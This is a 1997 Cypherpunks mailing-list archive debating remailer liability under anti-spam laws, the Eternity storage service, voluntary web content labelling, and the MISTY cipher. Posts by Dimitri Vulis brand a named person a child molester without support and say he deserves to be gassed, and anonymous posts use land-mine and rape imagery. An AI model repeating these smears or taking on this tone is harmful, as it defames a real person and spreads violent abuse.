And then, if anyone did delete it out of the Eternity server(s), I would
yell "censorship" to the freedom knights and/or their fellow travelers...

alan at ctrl-alt-del.com | Note to AOL users: for a quick shortcut to reply
Alan Olsen            | to my mail, just hit the ctrl, alt and del keys.

From apache at bear.apana.org.au  Wed Aug  6 11:30:33 1997
From: apache at bear.apana.org.au (Charles)
Date: Thu, 7 Aug 1997 02:30:33 +0800
Subject: bulk postage fine (was Re: non-censorous spam control)
In-Reply-To: <19970806075802.12530@bywater.songbird.com>
Message-ID: <199708061713.DAA09431@bear.apana.org.au>

-----BEGIN PGP SIGNED MESSAGE-----

    Kent Crispin said:

>On Sun, Aug 03, 1997 at 12:29:37PM +0100, Adam Back wrote:
>> Here's the sequence of events as I see it:
>> 
>>  1. spammer spams you with adverisement for phone sex line
>>  2. you try to sue phone sex line company
>>  3. phone sex company denies all knowledge
>>  4. government says all email must be authenticated 
>>  5. government issues internet drivers license
>>  6. anonymous remailers work around authentication requirement
>>  7. government outlaws remailers
>> 
>> See any flaws in that logical and undesirable sequence of events?
>
>The flaws become apparent if you try to attach a *realistic*
>probability to each step.

Wasn't the UPS trying to promote some system of authentication (where you 
pay just as like you purchase postage stamps now) at a trade show of some 
description in the US this year or late last year? I recall a post on 
this to this list but can't recall the detail. Anyone recall the details 
of that post?

I know last year the australian post office suggested such a role for 
themselves and they didn't see it as a voluntary proposal. I haven't 
heard anything from them lately so maybe it was all just too difficult.

- -- 
   .////.   .//    Charles Senescall             apache at bear.apana.org.au
 o:::::::::///     PGP mail preferred            apache at quux.apana.org.au
>::::::::::\\\     Finger me @bear for PGP PUBKEY      Brisbane AUSTRALIA
   '\\\\\'   \\    Apache

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

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-----END PGP SIGNATURE-----

From aba at dcs.ex.ac.uk  Wed Aug  6 11:33:34 1997
From: aba at dcs.ex.ac.uk (Adam Back)
Date: Thu, 7 Aug 1997 02:33:34 +0800
Subject: anti-spam law implies laws against remailers? (was Re: bulk postage fine)
In-Reply-To: <19970806075802.12530@bywater.songbird.com>
Message-ID: <199708061705.SAA03362@server.test.net>

Kent Crispin  writes:
> On Sun, Aug 03, 1997 at 12:29:37PM +0100, Adam Back wrote:
> > Here's the sequence of events as I see it:
> > 
> >  1. spammer spams you with adverisement for phone sex line
> >  2. you try to sue phone sex line company
> >  3. phone sex company denies all knowledge
> >  4. government says all email must be authenticated 
> >  5. government issues internet drivers license
> >  6. anonymous remailers work around authentication requirement
> >  7. government outlaws remailers
> > 
> > See any flaws in that logical and undesirable sequence of events?
> 
> The flaws become apparent if you try to attach a *realistic*
> probability to each step.

Difficult to do.

However, consider:

1) Government anti-spam laws won't work (too many loop holes, #1 of
   which is there are other countries in the world other than US, #2 is
   remailers will be used which will leave remailer operator rather than
   spammer to face the music).

2) When the government or whoever wants to sue someone for spam they
   will have to prove who the spammer is.  (Right?)  So now they'll
   look at the From address at it will say remailer at foo.com.  So
   they'll go have a chat to Fred Q Cypherpunk who operates foo, and he
   won't be able to cooperate because he doesn't keep logs.  They won't
   be happy with Fred, and will pass this information along to him by
   stealing his equipment, prosecuting him for assisting in a felony
   crime (they'll make it a felony right?), lock him and throw away
   the key.  But what about Freds constitutional protection of the
   speech forwarded by his remailer?  (Judge + congress-critter:
   Constitution wassat?)

3) Repeat step 2 x 100 and "something will have to be done" about the
   remailers (if there are any left!)  It really isn't that far
   fetched to have laws against remailers in the US.  Not so long ago
   the guy from the two-man band Georgia EFF were telling us about how
   they fought some law which had already tried to do this in that
   state.

4) New laws nearly always reduce your freedoms - in phrasing the law,
   and compromising their way around whatever "issues" they try to
   construct, they'll try to hide something else in there which we don't
   want.  (eg no encrypted email, or no import of crypto, or something
   stupidly unrelated -- happens all the time).

5) It's the net man, what do you want government officials crawling all
   over it, and lawyers arguing about it's content for?  It sets a bad
   precedent.

ps Kent, did you convert your rsa.midi to a .au file?  I haven't got
my /dev/midi configured properly under linux, but can play .au files,
and am dying to hear it :-)

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0
Message-ID: 

On Wed, 6 Aug 1997, Mark Grant wrote:

> That's not what I meant; I'm assuming that the mixmaster chain is pretty
> secure. The problem is that when the government find 'nuclear terrorist
> money-laundering kiddie drug porn' on the Eternity server they can trace
> it back to the original Usenet message and then go after the remailer
> operator who posted it. Making the remailers disposable or setting them up
> in free countries would work, but I'd prefer a technical solution. 

I suggest using information dispersal to spread risk amongst remailer
operators.  Use Rabin's information dispersal technique to divide up a
document into n shares such that k of them can reconstruct the original,
and post each share via a seperate remailer.  It would be hard for the
government to single out an operator to go after since an individual share
by itself is useless.

If n>k this also increases reliability and resilience of the eternity
service against technical attacks.

From jim.burnes at ssds.com  Wed Aug  6 12:04:48 1997
From: jim.burnes at ssds.com (Jim Burnes)
Date: Thu, 7 Aug 1997 03:04:48 +0800
Subject: "Voluntary Censorship" vs. Govt Legislation
Message-ID: <33E8C4FA.3E6DDBAC@ssds.com>

Chris:

Considering the volume of email you're

receiving on this topic, I doubt that you

will get around to reading this letter.

But for what its worth, the whole idea

of heading off Federal legislation by

policing ourselves is surrendering everything

that we've won from the defeat of the

British in 1776 to the defeat of the CDA.

(a slight overstatement seeing that the

Brits don't seem to have Parliment passing

CDA laws)

Can you imagine going into a library and

having censorship ratings stamped on the

bindings of all the books there?  The

very thought nearly brings tears to my eyes.

Last week I watched Farenheit 451 and

realized how close we are coming to that

sort of society.

If people want their information censored

then they should "donate" money to their

church and have it write filtering software.  This

would be a great way for churches to make

money -- all tax free.  Chances are that

people would be able to find a church that

agrees with their tastes in censorship.  They

may even attend that very organization.

Think about it!  Rather than bland names

such as CyberSitter or NetCop or whatever

you would have a "Parish Priest" that filters

all references to clerical pedophilia, a "Rabbi

Goldberg" that bans everything it considers anti-

semitic and a "Baptist Minister (southern edition)"

that pretty much bans... well .. a lot.  Microsoft

has been trying to sell user agents for a while.  This

would beat the hell out of Bob.  Someone might actually

use it!  You would know exactly what you were getting

and people won't usually sue their church if they should

happen to miss a nasty URL once in a while.

The church agents could also keep a tally of all the

bad information the kids had been protected from and

the nature of the information -- just in case the 'rents

need to save them from mortal peril.

As for the concept of an RSACi rating

for "news sites" that are "officially approved"

I can only say this is the most Orwellian proposal

so far.  After fifty-plus-years of "official"

news I'd say that most people have had a

belly full.  The pure arrogance of such an idea

is simply repulsive.  To call this hypocrisy would

be a affront to hypocrits everywhere.

Rather than discussing this issue with the

government I suggest you take it to a council

of churches where it belongs and not the Feds.

The last time the Feds staged a morality

play they burned twenty children to death.

For an example of how well the media served

the people during that "rescue attempt" I refer

you to charred corpses of little girls at Public

Affair's Waco Holocaust Museum at:

http://www.mnsinc.com/SkyWriter/WacoMuseum/

Would Public Affairs get an official

"news site" stamp of approval?  I thought

not.

---------------------------------------
When the world is running down
   make the best of what's still around
                                -sting

From declan at well.com  Wed Aug  6 12:36:46 1997
From: declan at well.com (Declan McCullagh)
Date: Thu, 7 Aug 1997 03:36:46 +0800
Subject: Query on cookies
Message-ID: 

Does anyone have a detailed understanding of how cookies work? I've read
Netscape's explanation of the protocol, but I still have some questions.

-Declan

From dformosa at st.nepean.uws.edu.au  Wed Aug  6 13:25:43 1997
From: dformosa at st.nepean.uws.edu.au (? the Platypus {aka David Formosa})
Date: Thu, 7 Aug 1997 04:25:43 +0800
Subject: Eternity Uncensorable?
In-Reply-To: <199708061308.OAA02171@server.test.net>
Message-ID: 

-----BEGIN PGP SIGNED MESSAGE-----

On Wed, 6 Aug 1997, Adam Back wrote:

> Mark Grant  writes:

[...]

> > so all that a government need do to censor a particular site is to
> > scan for those messages and issue cancels.

> - I understand cancels are ignored a lot of places, due to problems with
>   censorous people, and pranksters issuing tons of forged cancels.

And alot like to use canceles.  If censorus groups (not neccery the
goverment) starts canceling we may be able to create a resector like that
used in news.admin.net-abuse.*

[...]

>   I don't have any figures for how widespread the practice of
>   configuring news to ignore cancels is.  

Most sites still hounder cancels,  a growing number ignore them (often for
preformence resons).

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

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From dformosa at st.nepean.uws.edu.au  Wed Aug  6 13:36:30 1997
From: dformosa at st.nepean.uws.edu.au (? the Platypus {aka David Formosa})
Date: Thu, 7 Aug 1997 04:36:30 +0800
Subject: distributed data store, a la eternity
In-Reply-To: 
Message-ID: 

-----BEGIN PGP SIGNED MESSAGE-----

On Wed, 6 Aug 1997, Dr.Dimitri Vulis KOTM wrote:

[...]

> However Dejanews doesn't process cancels.

However Dejanews dose not store binaries.  I do not know if there filters
consider PGP ascii armor as a binarie.  So Dejanews may not store the
cancels.  You could try and get it of a "Site of vertue" or jetcafe.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

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From kent at songbird.com  Wed Aug  6 14:45:05 1997
From: kent at songbird.com (Kent Crispin)
Date: Thu, 7 Aug 1997 05:45:05 +0800
Subject: "Voluntary Censorship" vs. Govt Legislation
In-Reply-To: <33E8C4FA.3E6DDBAC@ssds.com>
Message-ID: <19970806141137.51900@bywater.songbird.com>

On Wed, Aug 06, 1997 at 12:39:54PM -0600, Jim Burnes wrote:
[...]
> Can you imagine going into a library and
> having censorship ratings stamped on the
> bindings of all the books there?

This is not a good analogy at all.  Have you ever noticed that there
are "childrens books" sections in the library? In fact, books in
libraries *do* have ratings -- they just use a different technique
than stamping it on the book.

The fact is that realspace allows categorization (censorship, in your
terminology) by spatial location -- something that cyberspace doesn't
support.  You don't complain about physical segregation of children's books,
or keeping children out of bars.

So presumably you wouldn't complain about some technical means of
creating an analog in cyberspace?

If so, then voluntary labelling is not so bad.  Most sites that cater 
to "adult" tastes will label themselves; most sites that explicitly 
cater to children will label themselves; but the vast majority of 
sites won't bother.  The fact that this system is not perfect is not 
an issue -- realspace separation is not perfect either.

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html

From jim.burnes at ssds.com  Wed Aug  6 16:09:23 1997
From: jim.burnes at ssds.com (Jim Burnes)
Date: Thu, 7 Aug 1997 07:09:23 +0800
Subject: "Voluntary Censorship" vs. Govt Legislation
In-Reply-To: <33E8C4FA.3E6DDBAC@ssds.com>
Message-ID: <33E8FE38.476CD40@ssds.com>

Kent Crispin wrote:

> On Wed, Aug 06, 1997 at 12:39:54PM -0600, Jim Burnes wrote:
> [...]
> > Can you imagine going into a library and
> > having censorship ratings stamped on the
> > bindings of all the books there?
>
> This is not a good analogy at all.  Have you ever noticed that there
> are "childrens books" sections in the library? In fact, books in
> libraries *do* have ratings -- they just use a different technique
> than stamping it on the book.
>
> The fact is that realspace allows categorization (censorship, in your
> terminology) by spatial location -- something that cyberspace doesn't
> support.  You don't complain about physical segregation of children's
> books,
> or keeping children out of bars.
>
> So presumably you wouldn't complain about some technical means of
> creating an analog in cyberspace?
>
> If so, then voluntary labelling is not so bad.  Most sites that cater
> to "adult" tastes will label themselves; most sites that explicitly
> cater to children will label themselves; but the vast majority of
> sites won't bother.  The fact that this system is not perfect is not
> an issue -- realspace separation is not perfect either.
>
> --
> Kent Crispin                            "No reason to get excited",
> kent at songbird.com                       the thief he kindly spoke...
> PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
> http://songbird.com/kent/pgp_key.html

Actually I have nothing against categorization.  Sci Fi, Dick and Jane,
Romance
Mystery, Horror, Erotica.  Those are categories.  The difference in
Meatspace
is that Mommie and Daddy usually don't let little Susie go to the
bookstore
alone.  If they go with her (the c-space equivalent of watching her
surf)
then they probably won't stand by as she picks up the latest copy of
Lady Chatterly.

As far as I'm concerned parents have a moral duty to filter what their
little ones read, I just don't want the Feds or Microsoft deciding what
the categories are.

Like I said -- most people who care about these things don't mind
if people from their church take the kids to the bookstore.  I assume
that they trust their values.

On the other hand I don't want a "surgeon general's warning" on
Lady Chatterly.  I know you think this is voluntary, but eventually
some parents will get irate over little susie seeing something that
they thought was inappropriately labeled.  A lawsuit will ensue
and then voluntary will be a tautology for mandatory.

It already is in the tax world.  And that, my friend, is the very
thing that Orwell spoke of.  Change the language so that love
means hate, peace means war, good is evil, volutary is mandatory.

As much as I detest censorship I don't have a problem with parents
deciding what their little kids should look at.  In fact I really like
the idea of having churches sell their own filtering software.  What
better way to check your values.

I can't believe the churches haven't thought of this before.  Usually
they don't miss a beat when it comes to generating funds for, ahem,
noble causes.

Maybe I'll suggest it.

Jim

BTW: It looks like communicator is formatting my text correctly again.

---------------------------------------
When the world is running down
   make the best of what's still around
                                -sting

From nobody at REPLAY.COM  Wed Aug  6 16:55:04 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Thu, 7 Aug 1997 07:55:04 +0800
Subject: Forced Censorship vs. Fucking Your Brains Out
Message-ID: <199708062340.BAA24470@basement.replay.com>

Kent Crispin wrote:
 Have you ever noticed that there
> are "childrens books" sections in the library? 

  Great place to meet "babes," huh Kent?

> You don't complain about physical segregation of children's books,
> or keeping children out of bars.

  I certainly do. I would locate books in a way such that the children 
would be exposed to a variety of materials, instead of herded into 
playpens according to age and size.
  Also, in areas where children are allowed in bars if they serve food,
or until a certain time of night, the atmosphere tends to be raised 
above just being a place for the parents to drink and get drunk.
  A 14 year-old guitar player named Little Charlie used to play with me
at the Austex Lounge in Austin, and the liquor laws required him to 
leave the bar when the band was not onstage. He spent the breaks out
in the parking lot, smoking dope and screwing his brains out with the
young groupies. (My liver is gone, and his dick fell off. Thanks to
the law, I won.)

> So presumably you wouldn't complain about some technical means of
> creating an analog in cyberspace? 
> If so, then voluntary labelling is not so bad.

  I think that a library-type cataloguing system adapted to the unique
form of the InterNet and WWW could be the greatest thing since sliced
bread. I would love not to have to visit 400 sites to find "hardware"
plumbing instead of "women's" plumbing (and vice-versa). Likewise, I
would rather not waste the bandwidth of myself and others when they
visit my site in error, thinking "arson" has to with fires, and not
with sex.

  The problem is that the words "voluntary" and "requirement" have,
through some weird mutation of DoubleSpeak, become synonyms.
  Hardly anybody even tries to pretend, anymore, that they are not 
planning to trample the constitution and fry anyone that gets in their
way when the ElectroMagnetic Curtain clangs shut.
  Even the Nazi's, in the early days, made some pretense of humanity
when shipping fellow humans to the death camps. "Jaccuzzi? No, I don't
thinks so, sir, but I'm certain there are plans for one. Now, climb
aboard, please." Eventually, the reign of terror reached the point where
it was all clubs and guns, with no need for pretense of humanity.

  When the gun-thievery began in earnest, the thieves still had to lie
in bigger and bigger stages, tearing small, then larger, pieces off the
Constitution at each step of their con game.
  With privacy and freedom, however, we have now reached a stage where
the pretense of democracy is perfunctory, with the fascists who are
rattling the chains standing on the stage behind the speaker as he or 
she assures us that "imprisonment for life will be a _voluntary_ 
requirement."

  The person I really feel bad for is Tim May. He used to at least be
able to tell people, "I told you so! Check the archives from my 
previous life, and..."
  Prophecy loses its luster once _everybody_ can predict the future, 
and things have reached the point where everyone recognizes their
cues in the march toward the "Tear-Stained Monologue" where, in an
allegorical way, "The good-guy gets the girl. _I_ wind up dead."

  Face it, we all know where the cattle-cars are going, but they are
carrying _other_ people--for now. Child molesters, drug dealers, and
similar robbing, raping, low-down vermin who shouldn't have any rights,
anyway.
  Oh, and a lady who put a quarter in a stranger's parking meter. And
a 16 year old kid who shared a joint with a 15 3/4 year old friend. And
a guy who pulled a stink-bomb prank on a government office.
  Oh yes, and an employee at Livermore Labs who pledged allegiance to
the flag every day of his life, escrowed his crypto keys with the 
government even before it was required by law to do so, but forgot about
the PGP 2.1 key on the floppy he's been using to shim up the short-leg
of the couch on the front porch for the last few years.

  What are the major players in the computer and media industries 
planning in their secret meetings about the best way to require you
and I to "volunteer?"
  They are planning to collectively "take one step back," leaving us
("voluntarily") standing in the line of fire.
  When the call to assembly comes, I plan on being the first one to
line up. I think I'll position the line "one step ahead" of the land
mines I plant the night before.

TruthMonger

From rah at shipwright.com  Wed Aug  6 17:15:42 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Thu, 7 Aug 1997 08:15:42 +0800
Subject: Introduction of MISTY
Message-ID: 

--- begin forwarded text

From: =?ISO-2022-JP?B?GyRCNUhJcCEhPV8bKEo=?= 
To: "'set-dev at terisa.com'" ,
    "'set-discuss at lists.Commerce.Net'" 
Cc: 'atsuhiro' ,
    'etakeda' ,
    'hirosato' ,
    'kotaro' ,
    'saeki' ,
    'maekawa' 
Cc: 'matsui' ,
    'nakawaji' ,
    'sakagami' ,
    'toka' ,
    'yositake' 
Subject: Introduction of MISTY
Date: Wed, 6 Aug 1997 10:51:38 +0900
Mime-Version: 1.0
Sender: set-discuss-owner at iss.isl.melco.co.jp
Precedence: bulk

+----------------------------------------------------------------------+
This message was addressed to:  set-discuss at lists.commerce.net
+----------------------------------------------------------------------+

Hello,

For those people who don't know MISTY, which is listed in "Algorithm
independence" of "Input requested for SET version 2.0 priorities",
please let me introduce it to you.

MISTY is a symmetric key cryptographic algorithm and has the following
excellent features:

(1)  Provable Security
    MISTY is mathematically proved to be strong enough against the
  two types of known cryptanalysis attack --- differential cryptanalysis
  and linear cryptanalysis.

(2)  High Performance
    MISTY has a parallel computation nature as an algorithm. So you can
  achieve high performance on both software and hardware. The algorithm
  itself does NOT depend on any special platforms.

You can also get the information about MISTY from the following Web pages.
    http://mitsubishielectric.com/TechShowcase/Text/tsText06.html
    http://www.melco.co.jp:80/rd_home/map/j_s/topics/new/misty_e.html

Please feel free to ask any questions to us. We would be happy to answer
your questions.

Jun Yoshitake

Senior Research Engineer
Information Security Department
Information Technology R & D Center
Mitsubishi Electric Corporation

5-1-1 Ofuna, Kamakura, Kanagawa 247, JAPAN
Phone : +81-467-41-2182,  FAX : +81-467-41-2138
yositake at iss.isl.melco.co.jp

-------------------------------------------------------------------------
This message was sent by a majordomo-based automatic list manager.
Subscriptions to and archives of this list are available to any person
or organization.  For further information send a mail message to
'set-discuss-request at lists.commerce.net' with 'help' (no quotations)
contained in the body of your message.

--- end forwarded text

-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/

From dlv at bwalk.dm.com  Wed Aug  6 17:32:59 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 7 Aug 1997 08:32:59 +0800
Subject: Eternity Uncensorable?
In-Reply-To: 
Message-ID: <37H2ae9w165w@bwalk.dm.com>

? the Platypus {aka David Formosa}  writes:

> On Wed, 6 Aug 1997, Adam Back wrote:
>
> > Mark Grant  writes:
>
> [...]
>
> > > so all that a government need do to censor a particular site is to
> > > scan for those messages and issue cancels.
>
> > - I understand cancels are ignored a lot of places, due to problems with
> >   censorous people, and pranksters issuing tons of forged cancels.
>
> And alot like to use canceles.  If censorus groups (not neccery the
> goverment) starts canceling we may be able to create a resector like that
> used in news.admin.net-abuse.*

A clarification is in order:

The "resurrector" in news.admin.net-abuse.* is run by none other than
the child-molesting pedophile Chris Lewis.  It does NOT repost
cancelled articles when the author is someone Lewis doesn't like
- such as myself.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps

From kent at songbird.com  Wed Aug  6 17:33:49 1997
From: kent at songbird.com (Kent Crispin)
Date: Thu, 7 Aug 1997 08:33:49 +0800
Subject: "Voluntary Censorship" vs. Govt Legislation
In-Reply-To: <33E8C4FA.3E6DDBAC@ssds.com>
Message-ID: <19970806170411.10495@bywater.songbird.com>

On Wed, Aug 06, 1997 at 04:44:08PM -0600, Jim Burnes wrote:
[...]
> Actually I have nothing against categorization.  Sci Fi, Dick and Jane,
> Romance Mystery, Horror, Erotica.  Those are categories.  The difference in
> Meatspace is that Mommie and Daddy usually don't let little Susie go to the
> bookstore alone.

I think you missed my point about spatial segregation.  It's not that
I don't let little Susie go to the bookstore alone -- I live 10 miles
from the bookstore, and she *can't* go to the bookstore alone.  In
other words, I don't have to watch her all the time in meatspace,
because there are *safe areas* where I can let her play without
supervision.  You get this kind of "categorization" of space for free
in meatspace -- it's a fundamental topological property that
cyberspace doesn't have. 

And in fact, no parent I know watches their children all the time --
it is simply not possible for most people.  Every parent I know builds
or finds "safe areas" where children can play unsupervised.

[...]

> 
> As far as I'm concerned parents have a moral duty to filter what their
> little ones read,  I just don't want the Feds or Microsoft deciding what
> the categories are.

Neither do I.

[...]

> On the other hand I don't want a "surgeon general's warning" on
> Lady Chatterly.  I know you think this is voluntary, 

No, clearly you don't know what I think.  Please do me the courtesy of
disabusing your mind of that thought.  When I said "voluntary" I meant
voluntary, not some Orwellian variant of the word, OK?  Voluntary.  Not
"mandatory voluntary", not "surgeon general's warning", not
"government approved", not "war is peace".  Voluntary.  So, keeping
your mind firmly wrapped around that, remember that I said I saw value
to voluntary labels.  I did not say I favored government mandated
labels, or Microsoft mandated labels.  Voluntary labels, like the big 
adult sites already use.  Voluntary labels, like the "k12" usenet 
hierarchy. 

[...]

> In fact I really like
> the idea of having churches sell their own filtering software.  What
> better way to check your values.

Filtering and labels are orthogonal (you can filter on things other
than labels), and, of the two, I prefer filtering.  Filtering creates
virtual neighborhoods, and gives a more complex topology to
cyberspace. 

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html

From nobody at neva.org  Wed Aug  6 17:39:53 1997
From: nobody at neva.org (Neva Remailer)
Date: Thu, 7 Aug 1997 08:39:53 +0800
Subject: MicroGorilla Postpones Rocket-Launch Plans Until..."likely sometime next year."
Message-ID: <199708070027.TAA14764@dfw-ix8.ix.netcom.com>

>Anonymous wrote:(c)
> > The "Not-News Gorilla NutWork" was rocket-launched in the Mohave Desert
> > early yesterday morning  by a rag-tag bunch of paramilitarist computer
> > gurus who unveiled an InterNet Bill of Bytes that included the words,
> > "MicroSoft shall make no laws..."

Steven Vonder Haar wrote, the very next day:
> Microsoft Corp. has tabled plans to include new technology in its
> Internet Explorer 4.0 browser that would have made "news" oriented
> sites exempt from content rating standards promoted for use on the
> Internet.

>Anonymous wrote:(o)
> > Angered by a self-appointed council of computer industry magnates who
> > have announced their intention to seize fascist control of the quickly
> > burdgeoning Information Highway by controlling the definition of all
> > information, the rebels set up a shooting range which contained a wide
> > variety of targets ranging from copies of the Wall Street Journal to
> > life-sized cardboard cut-outs of a hooded figure referred to only as,
> > "a billionaire to be named later."

Steven Vonder Haar wrote, the very next day:
> RSAC President C. Dianne Martin said Microsoft is running out of time
> to implement the separate designation for news sites before the launch
> of the 4.0 version of Explorer later this year.

>Anonymous wrote:(e)
> >   "We have decided on two classes of ratings." explained a tassle-
> > haired young woman as she slid shells into a Winchester Defender
> > sitting on her lap. "On..." she said, lifting the shotgun with one
> > hand, then liberating the hooded head from a nearby cardboard cut-out,
> > before turning back to say, with a Cheshire grin, "...and _off_."

Steven Vonder Haar wrote, the very next day:
> However, the company
> plans to include the news designation in the 5.0 version of Explorer
> when it is made available..."likely sometime next year."

From mnorton at cavern.uark.edu  Wed Aug  6 17:54:41 1997
From: mnorton at cavern.uark.edu (Mac Norton)
Date: Thu, 7 Aug 1997 08:54:41 +0800
Subject: "Voluntary Censorship" vs. Govt Legislation
In-Reply-To: <33E8FE38.476CD40@ssds.com>
Message-ID: 

On Wed, 6 Aug 1997, Jim Burnes wrote:
> 
> Actually I have nothing against categorization.
(snip)

Then you have nothing against labelling.
> 
> As far as I'm concerned parents have a moral duty to filter what their
> little ones read, I just don't want the Feds or Microsoft deciding what
> the categories are.
> 
But it's ok for Barnes&Noble and Borders to decide what the categories
are?  And the Motion Picture Association of America? I'd suggest you 
must accept that parents will use whatever tools are available to
help them exercise their "moral duty", and if that means they choose
to let Bill Gates decide what the categories are, so what?

> Like I said -- most people who care about these things don't mind
> if people from their church take the kids to the bookstore.  I assume
> that they trust their values.
> 
Whose values, the churchmembers' or the bookstores'?  Either way, 
"don't mind" is different from "want to".

> On the other hand I don't want a "surgeon general's warning" on
> Lady Chatterly.  I know you think this is voluntary, but eventually
> some parents will get irate over little susie seeing something that
> they thought was inappropriately labeled.  A lawsuit will ensue
> and then voluntary will be a tautology for mandatory.

But you'll accept a categorization of Lady Chat?
> 
> It already is in the tax world.  And that, my friend, is the very
> thing that Orwell spoke of.  Change the language so that love
> means hate, peace means war, good is evil, volutary is mandatory.

There has never been a voluntary tax, that worked. "Tax" and "volunteer"
are mutually exclusive terms.

> As much as I detest censorship I don't have a problem with parents
> deciding what their little kids should look at.  In fact I really like
> the idea of having churches sell their own filtering software.  What
> better way to check your values.

Now you're on to something. What better way to check your church's
values.

> I can't believe the churches haven't thought of this before.  Usually
> they don't miss a beat when it comes to generating funds for, ahem,
> noble causes.

They have, with regard to books, a long time ago. Admittedly, that
list didn't have anything to do with money, however.
> 
> Maybe I'll suggest it.

I don't think you need to:)
MacN

From jrennie at hardy.ocs.mq.edu.au  Wed Aug  6 18:10:27 1997
From: jrennie at hardy.ocs.mq.edu.au (Jason William RENNIE)
Date: Thu, 7 Aug 1997 09:10:27 +0800
Subject: Old Cryto stuff,
Message-ID: 

Can anybody suggest any good books on old cryto techniques ?? I'm finally 
learning to program, along with the stuff i've got to learn as part of 
the class i thought i would make a start on learning to code 
crypotgraphic algorithms. I was after some old ones that are simple to 
code in software. Unfortuently the one in the back of the Schnier book 
are a little to complex for my limited programming knowledge so far. 

So can anybody help or will i just be ignored like i have been at other 
times ? 

Jason =8-]

From dlv at bwalk.dm.com  Wed Aug  6 18:23:59 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 7 Aug 1997 09:23:59 +0800
Subject: Forced Censorship vs. Fucking Your Brains Out
In-Reply-To: <199708062340.BAA24470@basement.replay.com>
Message-ID: 

nobody at REPLAY.COM (Anonymous) writes:
>   Face it, we all know where the cattle-cars are going, but they are
> carrying _other_ people--for now. Child molesters, drug dealers, and
> similar robbing, raping, low-down vermin who shouldn't have any rights,
> anyway.

Yes - child molesting pedophiles like Chris Lewis deserve to be gassed.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps

From janzen at idacom.hp.com  Wed Aug  6 18:25:59 1997
From: janzen at idacom.hp.com (Martin Janzen)
Date: Thu, 7 Aug 1997 09:25:59 +0800
Subject: Links re. crypto in Canada
Message-ID: <9708070116.AA19886@sabel.idacom.hp.com>

A while ago, someone was asking about the status of cryptography in
Canada.  You may be interested in the following links, courtesy of
Electronic Frontier Canada's David Jones:

    EFC's Draft Statement on Canadian Cryptography Policy
       http://www.efc.ca/pages/crypto/policy.html

    Can you keep a secret? - Canadian Crypto: true, strong, free
       http://www.theconvergence.com/columns/djones/08021997/

    Entrust skirts export rules on encryption software
       http://www.efc.ca/pages/media/globe.29jul97.html

    Canadian Product Puts New Spin on Encryption Debate
       http://www.efc.ca/pages/media/nytimes.01aug97.html

    It's the law vs. privacy in high-tech debate
       http://www.efc.ca/pages/media/ottawa.citizen.06aug97a.html

--
Martin Janzen           janzen at idacom.hp.com

From nobody at REPLAY.COM  Wed Aug  6 18:51:31 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Thu, 7 Aug 1997 09:51:31 +0800
Subject: "Voluntary" Bullshit
Message-ID: <199708070137.DAA10966@basement.replay.com>

Kent Crispin didn't have any better sense than to write:
> 
> When I said "voluntary" I meant
> voluntary, not some Orwellian variant of the word, OK?  
> Not "mandatory voluntary"

  I know what a "label" is. What is a "voluntary" label?
  A "voluntary" label is nothing more than a threat, plain and simple.
It is the first volley in a coming war of censorship.

  The town I live in sent me a form for paying a "voluntary" fine
for my dog running loose. I thought that was great. I sent them a
letter telling them I would pay my "voluntary" fine when I came in
for my "voluntary" execution.
  I'm old enough to know better, but I was still naieve enough to
be surprised when a gun-toting Mountie with handcuffs and mace and
two billy clubs dropped by to ask me when I was going to pay my 
"voluntary" dog fine. Sure enough, it turns out that if I fail to
pay the "voluntary" fine, a man with a gun comes with a summons 
requiring me to answer to the charge in the presence of the King.
{Not Elvis}
  I walked down to the city office with my dog, who came in and ran
around sniffing the Mountie and city employees as I paid their fine
for not cruelly imprisoning her. I asked how much I owed them for 
not beating her, too, but they just looked at me funny until I left.
  And this is a small country town, with "voluntary" stop signs.

  I think I'll get a knife or gun, climb through a bedroom window,
and find someone who wants to "voluntarily" have sex with me.
  "Ma'am, the reason I climbed through your window in the middle
of the night was to protect your children from inadvertantly
walking in and viewing the obscenity that's about to take place.
  "As a matter of fact, I think there is pending legislation to
_require_ you to have sex with me when I crawl through your
bedroom window in the middle of the night. It's for your own
protection, so that I don't have to bring a weapon, next time."

VoluntaryMonger
"I _choose_ to be an asshole."

From ravage at ssz.com  Wed Aug  6 18:56:59 1997
From: ravage at ssz.com (Jim Choate)
Date: Thu, 7 Aug 1997 09:56:59 +0800
Subject: Old Cryto stuff, (fwd)
Message-ID: <199708070147.UAA06482@einstein.ssz.com>

Forwarded message:

> From: Jason William RENNIE 
